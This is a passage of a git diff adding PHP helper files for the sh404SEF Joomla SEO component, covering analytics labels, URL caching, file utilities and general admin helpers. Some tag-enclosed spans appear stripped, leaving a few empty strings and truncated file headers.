JText::_('FEBRUARY_SHORT'); + break; + case 3: + $m = JText::_('MARCH_SHORT'); + break; + case 4: + $m = JText::_('APRIL_SHORT'); + break; + case 5: + $m = JText::_('MAY_SHORT'); + break; + case 6: + $m = JText::_('JUNE_SHORT'); + break; + case 7: + $m = JText::_('JULY_SHORT'); + break; + case 8: + $m = JText::_('AUGUST_SHORT'); + break; + case 9: + $m = JText::_('SEPTEMBER_SHORT'); + break; + case 10: + $m = JText::_('OCTOBER_SHORT'); + break; + case 11: + $m = JText::_('NOVEMBER_SHORT'); + break; + case 12: + $m = JText::_('DECEMBER_SHORT'); + break; + + } + + return $m; + + } + + protected static function _getWeekPeriodString ( $dimension) { + + // start jan 1st of that year + $date = new DateTime ( $dimension['year'] . '-01-01'); + + // what day of week is that ? + $janFirst = $date->format( 'w'); + + // if not a Sunday, we have at partial first week of year + if ($janFirst != 0) { + // jan first is not a Sunday, first add days for this first partial week + $days = 6 - $janFirst; + + // then add days corresponding to the remaining number of weeks + if ($dimension['week'] > 1) { + $days += 7 * ($dimension['week']-1); + } + + } else { + // jan first is a sunday, we add 7 x number of weeks to jan first + // to find date of LAST day of week #XX + $days = 7 * $dimension['week'] -1; + } + + // add as many days as required to find LAST day of week + $date->modify( '+' . $days . ' days'); + + // then format result as needed + $string = self::_getShortMonthString( $date->format( 'm')) . ' ' . $date->format( 'd'); + + return $string; + } + + /** + * Calculates a displayable label for Google raw medium type + */ + public static function getReferralLabel( $rawReferralType) { + + switch ($rawReferralType) { + + case '(none)': + $label = JText::_('COM_SH404SEF_ANALYTICS_REF_LABEL_DIRECT'); + break; + case 'organic': + $label = JText::_('COM_SH404SEF_ANALYTICS_REF_LABEL_ORGANIC'); + break; + case 'referral': + $label = JText::_('COM_SH404SEF_ANALYTICS_REF_LABEL_REFERRAL'); + break; + default: + $label = $rawReferralType; + break; + } + + return $label; + } + + public static function getDataTypeTitle() { + + // need config, to know which data user wants to display : visits, unique visitors, pageviews + $sefConfig = Sh404sefFactory::getConfig(); + $dataType = $sefConfig->analyticsDashboardDataType; + $dataTypeString = str_replace( 'ga:', '', $dataType); + + $label = JText::_( 'COM_SH404SEF_ANALYTICS_DATA_' . strtoupper( $dataTypeString)); + + return $label; + } + + /** + * Method to create a select list of possible analytics reports + * + * @access public + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildAnalyticsReportSelectList( $current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', $customSubmit = '') { + + // available reports, should not be hardcoded though ! + $data = array( + array( 'id' => 'dashboard', 'title' => JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_DASHBOARD')) + ,array( 'id' => 'visits', 'title' => JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_VISITS')) + ,array( 'id' => 'sources', 'title' => JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_SOURCES')) + ,array( 'id' => 'keywords', 'title' => JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_KEYWORDS')) + ,array( 'id' => 'urls', 'title' => JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_URLS')) + ,array( 'id' => 'equipment', 'title' => JText::_( 'COM_SH404SEF_ANALYTICS_REPORT_VISITORS_EQUIPMENT')) + ); + + // use helper to build html + $list = Sh404sefHelperHtml::buildSelectList( $data, $current, $name, $autoSubmit, $addSelectAll, $selectAllTitle, $customSubmit); + + // return list + return $list; + + } + + /** + * Method to create a select list of possible ways to group data on analytics reports + * + * @access public + * @param int ID of current item + * @param string name of select list + * @param boolean if true, changing selected item will submit the form (assume is an "adminForm") + * @param boolean, if true, a line 'Select all' is inserted at the start of the list + * @param string the "Select all" to be displayed, if $addSelectAll is true + * @return string HTML output + */ + public static function buildAnalyticsGroupBySelectList( $current, $name, $autoSubmit = false, $addSelectAll = false, $selectAllTitle = '', $customSubmit = '') { + + // available reports, should not be hardcoded though ! + $data = array( + array( 'id' => 'ga:year,ga:month,ga:week,ga:day', 'title' => JText::_( 'Day')) + ,array( 'id' => 'ga:year,ga:month,ga:week', 'title' => JText::_( 'Week')) + ,array( 'id' => 'ga:year,ga:month', 'title' => JText::_( 'Month')) + ); + + // use helper to build html + $list = Sh404sefHelperHtml::buildSelectList( $data, $current, $name, $autoSubmit, $addSelectAll, $selectAllTitle, $customSubmit); + + // return list + return $list; + + } + + public static function createTempFile( $basePath, $report) { + + // we use a temporary png file to display graphic + + // make sure we also have on in the base cache directory + // compute filename, using current time, up to 1/100 of a sec + $timestamp = floor(microtime(true) *100); + $timestamp = str_replace( '.', '', $timestamp); + $imageFileName = str_replace( DIRECTORY_SEPARATOR, '/', $basePath) . $timestamp . '.' . strtolower($report) .'.png'; + + return $imageFileName; + + } + + /** + * Remove all png files older than a set time in provided directory + * + * @param $basePath + * @param $age en secondes + */ + public static function cleanReportsImageFiles( $basePath, $age = 300) { + + // collect all png files in that directory + $fileList = JFolder::files( $basePath, '.png'); + + // if any file, check them against age + if (!empty( $fileList)) { + // heure courante + $timestamp = floor(microtime(true) *100) ; + $timestamp = str_replace( '.', '', $timestamp); + + // ajuster l'age en centième de secondes + $age = $age * 100; + + // calculate oldest file we can accept + $oldestAllowed = $timestamp - $age; + + // iterate over files and delete the old ones + foreach( $fileList as $file) { + + // file name format : timestamp.type.png, ie: "123456789.visits.datatype.png" + $bits = explode('.', $file); + $ts = $bits[0]; + if ($ts < $oldestAllowed) { + // remove that file + jimport( 'joomla.filesystem.file'); + $deleted = JFile::delete( $basePath . $file ); + } + } + } + } + + /** + * Encode a time value, in seconds + * to predefined numerical codes + * using 6 bits (64 values) + * @param float $time + */ + public static function classifyTime( $time) { + + // default + $time = floatval( $time); + + // break it down to classes + if ($time < 4.95) { // max value for that case is going to be 49 + // convert to 1/10th of second + $time = round($time * 10); // ie 1.9 sec becomes 19 + } else if ($time < 6.0) { + $time = 50; + } else if ($time < 7) { + $time = 51; + } else if ($time < 8) { + $time = 52; + } else if ($time < 9) { + $time = 53; + } else if ($time < 10){ + $time = 54; + } else if ($time < 11){ + $time = 55; + } else if ($time < 12){ + $time = 56; + } else if ($time < 13){ + $time = 57; + } else if ($time < 14){ + $time = 58; + } else if ($time < 15){ + $time = 59; + } else if ($time < 20){ + $time = 60; + } else if ($time < 25){ + $time = 61; + } else if ($time < 30){ + $time = 62; + } else { + $time = 63; + } + + return $time; + } + + /** + * Revert classification of page creation time + * to get back approximate time from value range + * encoded in analytics data + * + * @param integer $time code as per classification function + */ + + public static function declassifyTime( $time) { + + // break it down to classes + if ($time < 50) { // actual time in 1/10th of sec + // convert back to secondd + $time = $time / 10; // ie 1.9 sec becomes 19 + } else if ($time == 50) { // + $time = 5.5; + } else if ($time == 51) { // + $time = 6.5; + } else if ($time == 52) { // + $time = 7.5; + } else if ($time == 53) { // + $time = 8.5; + } else if ($time == 54) { // + $time = 9.5; + } else if ($time == 55) { // + $time = 10.5; + } else if ($time == 56) { // + $time = 11.5; + } else if ($time == 57) { // + $time = 12.5; + } else if ($time == 58) { // + $time = 13.5; + } else if ($time == 59) { // + $time = 14.5; + } else if ($time == 60) { // + $time = 17.5; + } else if ($time == 61) { // + $time = 22.5; + } else if ($time == 62) { // + $time = 27.5; + } else { + $time = 40.0; // default value if time exceeds 30 seconds + } + + return $time; + + } + + + /** + * Classify memory consumption into predefined + * value ranges, to encode it into only 16 values + * + * @param float $ram ram used up by page creation + */ + public static function classifyMemory( $ram) { + + // default + $ram = floatval( $ram); + + // break it down to classes + if ($ram < 6) { + $ram = 0; + } else if ($ram < 8) { + $ram = 1; + } else if ($ram < 10) { + $ram = 2; + } else if ($ram < 12) { + $ram = 3; + } else if ($ram < 14) { + $ram = 4; + } else if ($ram < 16) { + $ram = 5; + } else if ($ram < 18) { + $ram = 6; + } else if ($ram < 20) { + $ram = 7; + } else if ($ram < 22) { + $ram = 8; + } else if ($ram < 24) { + $ram = 9; + } else if ($ram < 28) { + $ram = 10; + } else if ($ram < 32) { + $ram = 11; + } else if ($ram < 48) { + $ram = 12; + } else if ($ram < 64) { + $ram = 13; + } else if ($ram < 128) { + $ram = 14; + } else { + $ram = 15; + } + + return $ram; + } + + /** + * Revert classification of ram consumption + * to get back approximate memory from value range + * encoded in analytics data + * + * @param integer $ram code as per classification function + */ + public static function declassifyMemory( $ram) { + + $ramValues = array(3, 7, 9, 11, 13, 15, 17, 19, 21, 23, 26, 30, 40, 56, 96, 128); + + if (isset( $ramValues[$ram])) { + $ram = $ramValues[$ram]; + } else { + $ram = 0; + } + + return $ram; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/autoloader.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/autoloader.php new file mode 100644 index 00000000..ed995f02 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/autoloader.php @@ -0,0 +1,163 @@ +UrlCacheHandler : $handler; + $className = 'Sh404sefClass' . ucfirst($handler) . 'cache'; + $_instance = new $className( $config); + + } + + return $_instance; + } + + public static function getSefUrlFromCache( $nonSefUrl, & $sefUrl) { + + try { + $cache = &self::_getInstance(); + return $cache->getSefUrlFromCache( $nonSefUrl, $sefUrl); + } catch (Exception $e) { + // TODO: should decouple this result from sh404SEF constants + return sh404SEF_URLTYPE_NONE; + } + } + + public static function getNonSefUrlFromCache( $sefUrl, & $nonSefUrl) { + + try { + $cache = &self::_getInstance(); + return $cache->getNonSefUrlFromCache( $sefUrl, $nonSefUrl); + } catch (Exception $e) { + // TODO: should decouple this result from sh404SEF constants + return sh404SEF_URLTYPE_NONE; + } + + } + + public static function addSefUrlToCache( $nonSefUrl, $sefUrl, $UrlType) { + + try { + $cache = &self::_getInstance(); + return $cache->addSefUrlToCache( $nonSefUrl, $sefUrl, $UrlType); + } catch (Exception $e) { + return null; + } + + } + + public static function removeUrlFromCache( $nonSefUrlList) { + + try { + $cache = &self::_getInstance(); + return $cache->removeUrlFromCache( $nonSefUrlList); + } catch (Exception $e) { + return null; + } + + } + + public static function purge() { + + try { + $cache = &self::_getInstance(); + return $cache->purge(); + } catch (Exception $e) { + return null; + } + + } + + public static function getCacheStats() { + + try { + // get cache instance, assuming it was already created + $cache = & self::_getInstance(); + + return $cache->getCacheStats(); + + } catch (Exception $e) { + return ''; + } + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/categories.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/categories.php new file mode 100644 index 00000000..24d2069e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/categories.php @@ -0,0 +1,80 @@ + 0 and extension = ? and path = ? and level = ?', array( $extension, 'uncategorised', 1)); + + } catch( Exception $e) { + + self::$uncategorizedCat[$extension] = null; + + } + + } + + return self::$uncategorizedCat[$extension]; + } + + /** + * + * Get details of the "Uncategorized" category for a given extension, + * storing the result in a cache variable + * + * @param string $extension full name of extension, ie "com_content" + */ + public static function getSh404sefContentCat() { + + // if not already in cache + if(is_null( self::$_sh404sefContentCat)) { + + try { + // read details from database + self::$_sh404sefContentCat = ShlDbHelper::selectObject( '#__categories', '*', array('parent_id' => 1, 'extension' => 'com_content', 'path' => 'sh404sef-custom-content', 'level' => 1)); + + } catch( Exception $e) { + + self::$_sh404sefContentCat = null; + + } + + } + + return self::$_sh404sefContentCat; + } + +} + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/extplugins.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/extplugins.php new file mode 100644 index 00000000..a3c6c06a --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/extplugins.php @@ -0,0 +1,123 @@ +isAdmin() && $option == 'com_plugins' && $task == 'edit') { + // identify the plugin + $cid = JRequest::getVar( 'cid'); + $id = intval($cid[0]); + // is it ours ? well, theirs ? + $filename = ''; + $plgTable = JTable::getInstance( 'plugin'); + $loaded = $plgTable->load( $id); + if($loaded) { + if($plgTable->folder == 'sh404sefextacesef') { + $filename = 'com_sh404sef.acesef'; + } + /*if($plgTable->folder == 'sh404sefextjoomsef') { + $filename = 'com_sh404sef.joomsef'; + }*/ + // load a custom language file + if(!empty( $filename)) { + $language = JFactory::getLanguage(); + $language->load($filename, JPATH_ADMINISTRATOR); + } + } + } + } + + /** + * Loads custom install adapters, allowing + * installation of Acesef and Joomsef custom plugins + * as regular Joomla plugins + * + */ + public static function loadInstallAdapters() { + + // disabled due to J! 3.1 backward compatibility break + return; + + $app = JFactory::getApplication(); + $option = JRequest::getCmd( 'option'); + + if($app->isAdmin() && $option == 'com_installer') { + // Get the installer instance + jimport( 'joomla.installer.installer' ); + $installer = JInstaller::getInstance(); + $db = ShlDbHelper::getDb(); + + // create a Joomsef adapter + $joomsefAdapter = new Sh404sefAdapterJoomsefinstaller( $installer, $db); + $installer->setAdapter( 'sef_ext', $joomsefAdapter); + + // create an Acesef adapter + $acesefAdapter = new Sh404sefAdapterAcesefinstaller( $installer, $db); + $installer->setAdapter( 'acesef_ext', $acesefAdapter); + } + } + + protected static function _getBasePath( $extension) { + + return JPATH_ADMINISTRATOR . '/' . 'components' . '/' . 'com_sh404sef' . '/' . 'lib' . '/' . 'extplugins' . '/' . $extension; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/files.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/files.php new file mode 100644 index 00000000..07cbada6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/files.php @@ -0,0 +1,294 @@ + $olderThan) + { + JFile::delete($file); + } + } + } + } + + /** + * Get current Joomla temporary path, unless + * it does not exists, in which case + * Joomla_root/tmp is returned, as it will most + * likely exists, even in the case of + * site moved from local to remote site + */ + public static function getTempPath() + { + static $_tempPath = null; + + if (is_null($_tempPath)) + { + + // find about Joomla temporary directory + $app = JFactory::getApplication(); + $tmpPath = $app->getCfg('tmp_path'); + + // check it + jimport('joomla.filesystem.folder'); + $_tempPath = JFolder::exists($tmpPath) ? $tmpPath : JPATH_ROOT . '/' . 'tmp'; + } + + return $_tempPath; + } + + /** + * Create a directory, and makes sure there is an index.html file in it + * + * @param string $path the full absolute path to the target dir + */ + public static function createDirAndIndex($path) + { + jimport('joomla.filesystem.path'); + $path = JPath::clean($path, '/'); + $path = rtrim($path, '/') . '/'; + + // make sure dir exists + jimport('joomla.filesystem.folder'); + JFolder::create($path); + + // make sure we have an index.html file in the user directory + jimport('joomla.filesystem.file'); + if (!JFile::exists($path . 'index.html')) + { + // copy one in there + JFile::copy(sh404SEF_ADMIN_ABS_PATH . 'index.html', $path . 'index.html'); + } + } + + /** + * Format a numerical file size into a + * human readable format + * + * From http://uk2.php.net/manual/de/features.file-upload.php#88591 + * + * @param integer $filesize the numerical file size + * @param integer $precision optional precision, default to 0 + */ + public static function displayableFileSize($filesize, $precision = 0) + { + $units = array('B', 'KB', 'MB', 'GB', 'GB'); + + $filesize = max($filesize, 0); + $pow = floor(($filesize ? log($filesize) : 0) / log(1024)); + $pow = min($pow, count($units) - 1); + + $filesize /= pow(1024, $pow); + + return round($filesize, $precision) . ' ' . $units[$pow]; + + } + + /** + * Convert a filesize as reported by ini_get into + * a numerical value + * + * From http://de3.php.net/manual/en/function.ini-get.php + * + * @param string $filesize the file size + */ + public static function numericalFileSize($filesize) + { + $filesize = trim($filesize); + $unit = strtolower($filesize[strlen($filesize) - 1]); + switch ($unit) + { + // The 'G' modifier is available since PHP 5.1.0 + case 'g': + $filesize *= 1024; + case 'm': + $filesize *= 1024; + case 'k': + $filesize *= 1024; + } + + return $filesize; + } + + /** + * Get current server maximum upload file size + * @param boolean $asInteger, if true, return result as integer, else as a human readable string + */ + public static function getMaxUploadSize($asInteger = false) + { + $postMaxSize = self::numericalFileSize(ini_get('post_max_size')); + $uploadMaxFileSize = self::numericalFileSize(ini_get('upload_max_filesize')); + $maxUploadSize = min($postMaxSize, $uploadMaxFileSize); + + return $asInteger ? $maxUploadSize : self::displayableFileSize($maxUploadSize); + } + + /** + * Force download by user of an existing file + * + * @param string $filename the file (fullpathed) name + */ + public static function triggerDownload($filename, $displayName) + { + // required library + jimport('joomla.filesystem.file'); + + // get filesize + $filesize = @filesize($filename); + + // output + header('Expires: 0'); + header('Last-Modified: ' . gmdate('D, d M Y H:i:s', time()) . ' GMT'); + header('Pragma: public'); + header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); + header('Accept-Ranges: bytes'); + header('Content-Length: ' . $filesize); + header('Content-Type: Application/octet-stream'); + header('Content-Disposition: attachment; filename="' . $displayName . '"'); + header('Connection: close'); + ob_end_clean(); //flush any joomla stuff from the ouput buffer + + // read file content by chunks and send it + $offset = 0; + do + { + $chunk = JFile::read($filename, $incpath = false, $amount = 81920, $chunksize = 8192, $offset); + if ($chunk) + { + print $chunk; + $offset += strlen($chunk); + } + } + while ($chunk); + + // die, to have file content sent + jexit(); + } + + public static function csvQuote($string) + { + $string = str_replace("\n", '__SH_NL__', $string); + return str_replace(self::$stringDelimiter, self::$stringDelimiter . self::$stringDelimiter, $string); + + } + + public static function csvUnquote($string) + { + $string = str_replace('__SH_NL__', "\n", $string); + return str_replace(self::$stringDelimiter . self::$stringDelimiter, self::$stringDelimiter, $string); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/general.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/general.php new file mode 100644 index 00000000..ae04fac6 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/general.php @@ -0,0 +1,571 @@ +quoteName('type') . ' = ? and ' . $db->quoteName('enabled') . ' = ? and ' . $db->quoteName('element') . ' <> ? ' . ' and ' + . $db->quoteName('element') . ' not in (' . ShlDbHelper::arrayToQuotedList($exclude) . ')'; + $whereData = array('component', 1, ''); + try + { + $components = ShlDbHelper::selectObjectList('#__extensions', array('*'), $where, $whereData, $orderBy = array('name'), $offset = 0, + $lines = 0, $key = 'element'); + } + catch (Exception $e) + { + JError::raiseWarning('SOME_ERROR_CODE', "Error loading Components: " . $e->getMessage()); + return false; + } + } + + return $components; + } + + public static function getComponentParams($forceRead = false) + { + static $_params = null; + + if (is_null($_params) || $forceRead) + { + try + { + $oldParams = ShlDbHelper::selectResult('#__extensions', 'params', array('element' => 'com_sh404sef', 'type' => 'component')); + $_params = new JRegistry(); + $_params->loadString($oldParams); + } + catch (Exception $e) + { + $_params = new JRegistry(); + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + } + + return $_params; + } + + public static function saveComponentParams($params) + { + try + { + ShlDbHelper::update('#__extensions', array('params' => (string) $params), array('element' => 'com_sh404sef', 'type' => 'component')); + return true; + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + return false; + } + } + + public static function getComponentUrl() + { + return 'administrator/components/com_sh404sef'; + } + + /** + * Create toolbar title for current view + * + * This one can ucstomize the class for styling + * plus the output can be used to + * simply display the title as opposed to + * using $mainframe to set the component + * title, which is not OK when used inside a modal box + * + * @param string $title text title + * @param string $icon the name of an image, which is used to calculate aclass name + * @param string $class the name of a wrapping class + */ + public static function makeToolbarTitle($title, $icon = 'generic.png', $class = 'header') + { + //strip the extension + $icon = preg_replace('#\.[^.]*$#u', '', $icon); + + $html = "
    \n"; + $html .= "$title\n"; + $html .= "
    \n"; + + return $html; + } + + /** + * Prepare an xml file content holding + * a standard record for returning result + * of an ajax request + * + * @param JView $view the view handling the request + */ + public static function prepareAjaxResponse($view) + { + // create a root node + $base = ''; + $xml = new SimpleXMLElement($base); + + $status = '_'; + $message = '_'; + $messagecode = '_'; + $taskexecuted = '_'; + + // set their respective values + $vErrors = $view->getErrors(); + $view = new stdClass(); + + if (empty($vErrors)) + { + // retrieve messagecode and task + if (empty($view->messagecode)) + { + $view->messagecode = 'COM_SH404SEF_OPERATION_COMPLETED'; + } + if (empty($view->taskexecuted)) + { + $view->taskexecuted = $taskexecuted; + } + + // either a success or a redirect + if (empty($view->redirectTo)) + { + // no error + $status = 'success'; + $msg = empty($view->message) ? JText::_('COM_SH404SEF_OPERATION_COMPLETED') : $view->message; + $message = '
      ' . $msg . '
    '; + $messagecode = 200; + } + else + { + $status = 'redirect'; + $glue = strpos($view->redirectTo, '?') === false ? '?' : '&'; + $message = $view->redirectTo . $glue . 'sh404sefMsg=' . $view->messagecode; + } + $taskexecuted = $view->taskexecuted; + } + else + { + $status = 'failure'; + $messageTxt = ''; + foreach ($vErrors as $error) + { + $messageTxt .= '
  1. ' . $error . '
  2. '; + } + $message = '
      ' . $messageTxt . '
    '; + } + + // add children : status, message, message code, task + $xml->addChild('status', $status); + $xml->addChild('message', $message); + $xml->addChild('messagecode', $messagecode); + $xml->addChild('taskexecuted', $taskexecuted); + + // output resulting text, no need for a layout file I think + $output = $xml->asXml(); + + return $output; + } + + /** + * Calculate MD5 of a set of data + * + * @param array $dataSet the data, as an array of objects or arrays + * @param array $columns, hold the names of the object properties to be used in calculation + * @param boolean $asObject if true, dataSet is an array of objects, else an array of array + */ + public static function getDataMD5($dataSet, $columns, $asObject = true) + { + $md5 = null; + $sum = ''; + + if (!empty($dataSet) && !empty($columns)) + { + foreach ($dataSet as $record) + { + foreach ($columns as $column) + { + $sum .= $asObject ? $record->$column : $record[$column]; + } + } + $md5 = md5($sum); + } + + return $md5; + } + + /** + * Returns either the full set or just one + * header line to be used in an export file + * Also needed when importing, to recognize + * import type + * + * @param string $type the data type being imported + */ + public static function getExportHeaders($type = null) + { + static $_headers = array('aliases' => '"Nbr","Alias","Sef url","Non sef url","Type","Hits"', + 'urls' => '"Nbr","Sef url","Non sef url","Hits","Rank","Date added","Page title","Page description","Page keywords","Page language","Robots tag","Canonical"', + 'metas' => '"Nbr","Sef url","Non sef url","Hits","Rank","Date added","Page title","Page description","Page keywords","Page language","Robots tag","Canonical"', + 'pageids' => '"Nbr","pageId","Sef url","Non sef url","Type","Hits"', + 'view404' => '"Nbr","Sef url","Non sef url","Hits","Rank","Date added","Page title","Page description","Page keywords","Page language","Robots tag"' + // legacy files + , 'sh404sefurls' => '"id","Count","Rank","SEF URL","non-SEF URL","Date added"', + 'sh404sefmetas' => '"id","newurl","metadesc","metakey","metatitle","metalang","metarobots"'); + + if (is_null($type)) + { + return $_headers; + } + + if (isset($_headers[$type])) + { + return $_headers[$type]; + } + + return false; + } + + public static function checkIpRange($ip, $ipExp) + { + if (empty($ip) || empty($ipExp)) + return false; + $exp = '/' . str_replace('\*', '[0-9]{1,3}', preg_quote($ipExp)) . '/'; // allow * wild card + return preg_match($exp, $ip); + } + + public static function checkIPList($ip, $ipList) + { + if (empty($ip) || empty($ipList)) + return false; + foreach ($ipList as $ipInList) + { + if (self::checkIpRange($ip, $ipInList)) + { + return true; + } + } + return false; + } + + public static function getUserGroups($format = 'all') + { + static $_groups = null; + + if (is_null($_groups)) + { + $groups_['all'] = array(); + $groups_['id'] = array(); + $groups_['title'] = array(); + + // read groups from DB + $rawGroups = array(); + try + { + $rawGroups = ShlDbHelper::selectObjectList('#__usergroups', array('id', 'title')); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); + } + + // store groups by format: id&name, id only, names only + foreach ($rawGroups as $group) + { + $_groups['all'][$group->id] = $group->title; + $_groups['id'][] = $group->id; + $_groups['title'][] = $group->title; + } + } + + return $_groups[$format]; + } + + public static function isInGroupList($groups, $groupsList) + { + if (empty($groups) || empty($groupsList)) + { + return false; + } + + foreach ($groups as $groupId) + { + if (in_array($groupId, $groupsList)) + { + return true; + } + } + + return false; + } + + /** + * Returns the sh404SEF SEF url for a give non-sef url, + * creating it on the fly if not already in the database + * + * @param string $nonSefUrl non-sef url, starting with index.php?... + * @param boolean $fullyQualified if true, return a fully qualified url, including protocol and host + * @param boolean $xhtml + * @param $ssl + */ + public static function getSefFromNonSef($nonSefUrl, $fullyQualified = true, $xhtml = false, $ssl = null) + { + if (!defined('SH404SEF_IS_RUNNING')) + { + return false; + } + + $pageInfo = Sh404sefFactory::getPageInfo(); + + if (empty($nonSefUrl)) + { + return $pageInfo->getDefaultFrontLiveSite(); + } + + $newUri = new JURI($nonSefUrl); + $originalUri = clone $newUri; + + $route = shSefRelToAbs($nonSefUrl, $shLanguageParam = '', $newUri, $originalUri); + $route = ltrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $route), '/'); + $route = $route == '/' ? '' : $route; + + // find path + $nonSefVars = $newUri->getQuery($asArray = true); + if (strpos($route, '?') !== false && !empty($nonSefVars)) + { + $parts = explode('?', $route); + // there are some query vars, just use the path + $path = $parts[0]; + } + else + { + $path = $route; + } + $newUri->setPath($path); + + if ($fullyQualified || (int) $ssl === 1) + { + // remove protocol, host, etc, only keep relative-to-site part + + $liveSite = $pageInfo->getDefaultFrontLiveSite(); + if ((int) $ssl === 1 && substr($liveSite, 0, 7) == 'http://') + { + $liveSite = str_replace('http://', 'https://', $liveSite); + } + $sefUrl = $liveSite . '/' . $newUri->toString(); + } + else + { + $sefUrl = '/' . $newUri->toString(array('path', 'query', 'fragment')); + } + + if ($xhtml) + { + $sefUrl = htmlspecialchars($sefUrl); + } + + return $sefUrl; + } + + /** + * Instantiates a new component configuration model + * from Joomla! own com_config + * + * @param string $component name of component for which the model should be initialized + * @param string $path path to a folder where config xml file can be found + * @return ConfigModelComponent + */ + public static function getComConfigComponentModel($component = 'com_sh404sef', $path = '') + { + if (!class_exists('ConfigModelComponent')) + { + if (file_exists(JPATH_ROOT . '/administrator/components/com_config/model/component.php')) + { + // post J! 3.2 + $files = array(JPATH_ROOT . '/components/com_config/model/cms.php', JPATH_ROOT . '/components/com_config/model/form.php', + JPATH_ROOT . '/administrator/components/com_config/model/component.php'); + } + else + { + // pre J! 3.2 + $files = array(JPATH_ROOT . '/administrator/components/com_config/models/component.php'); + } + foreach ($files as $file) + { + require_once($file); + } + } + $comConfigModel = new ConfigModelComponent(array('ignore_request' => true)); + $state = $comConfigModel->getState(); + $state->set('component.option', $component); + if (!empty($path)) + { + $state->set('component.path', $path); + } + return $comConfigModel; + } + + /** + * Creates a link to the shLib plugin page + * @return string + */ + public static function getShLibPluginLink($xhtml = true) + { + try + { + $pluginId = ShlDbHelper::selectResult('#__extensions', array('extension_id'), + array('type' => 'plugin', 'element' => 'shlib', 'folder' => 'system')); + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', __CLASS__ . '/' . __METHOD__ . '/' . __LINE__ . ': ' . $e->getMessage()); + } + + $link = ''; + $pluginId = (int) $pluginId; + if (!empty($pluginId)) + { + $link = 'index.php?option=com_plugins&task=plugin.edit&extension_id=' . $pluginId; + } + + if ($xhtml) + { + $link = htmlspecialchars($link); + } + + return $link; + } + + /** + * Fetch a private or protected property from an object + * + * @param string $className + * @param string $propertyName + * @param object $instance + * @param boolean $static + * + * @return mixed property value, or null + */ + public static function getProtectedProperty($className, $propertyName, $instance, $static = false) + { + static $_classesCache = array(); + static $_propertiesCache = array(); + + if (version_compare(phpversion(), '5.3', 'ge')) + { + try + { + if (empty($_propertiesCache[$className . $propertyName])) + { + if (empty($_classesCache[$className])) + { + $_classesCache[$className] = new ReflectionClass($className); + } + $_propertiesCache[$className . $propertyName] = $_classesCache[$className]->getProperty($propertyName); + $_propertiesCache[$className . $propertyName]->setAccessible(true); + } + $propertyValue = $static ? $_propertiesCache[$className . $propertyName]->getStaticValue($instance) + : $_propertiesCache[$className . $propertyName]->getValue($instance); + + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', __CLASS__ . '/' . __METHOD__ . '/' . __LINE__ . ': ' . $e->getMessage()); + $propertyValue = null; + } + } + else + { + if (!$static) + { + // poor man's reflection, pre 5.3.0 + $dump = print_r($instance, true); + $propertytag = '[' . $propertyName . ':protected]'; + $bits = explode($propertytag, $dump); + $bit = $bits[1]; + $bits = explode('[_', $bit); + $bit = str_replace('=>', '', $bits[0]); + $propertyValue = trim($bit); + } + else + { + $propertyValue = null; + } + } + + return $propertyValue; + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.full.php b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.full.php new file mode 100644 index 00000000..daca554c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/html.full.php @@ -0,0 +1,68 @@ +getCmd('c', ''); + $view = $request->getCmd('view', ''); + $layout = $request->getCmd('layout', ''); + $tmpl = $request->getCmd('tmpl', ''); + $shajax = $request->getCmd('shajax', ''); + $format = $request->getCmd('format', 'html'); + $enabledDefault = empty($tmpl) && empty($shajax) && $format == 'html'; + + // make sure the language file is loaded + $language = JFactory::getLanguage(); + $language->load('com_sh404sef.sys'); + + // now we can create the sub menu items + $enabled = $enabledDefault && (($c != '' && $c != 'default') || !empty($view) || !empty($layout)); + if (version_compare(JVERSION, '3.0', 'ge')) + { + $homeLink = $enabled ? '' + : JText::_('COM_SH404SEF_CONTROL_PANEL'); + } + else + { + $homeLink = JText::_('COM_SH404SEF_CONTROL_PANEL'); + } + self::_addMenuEntry($homeLink, 'index.php?option=com_sh404sef&c=default', $enabled); + $enabled = $enabledDefault && ($view != 'urls' || $layout != 'default'); + self::_addMenuEntry(JText::_('COM_SH404SEF_URL_MANAGER'), 'index.php?option=com_sh404sef&c=urls&layout=default&view=urls', $enabled); + $enabled = $enabledDefault && ($view != 'aliases'); + 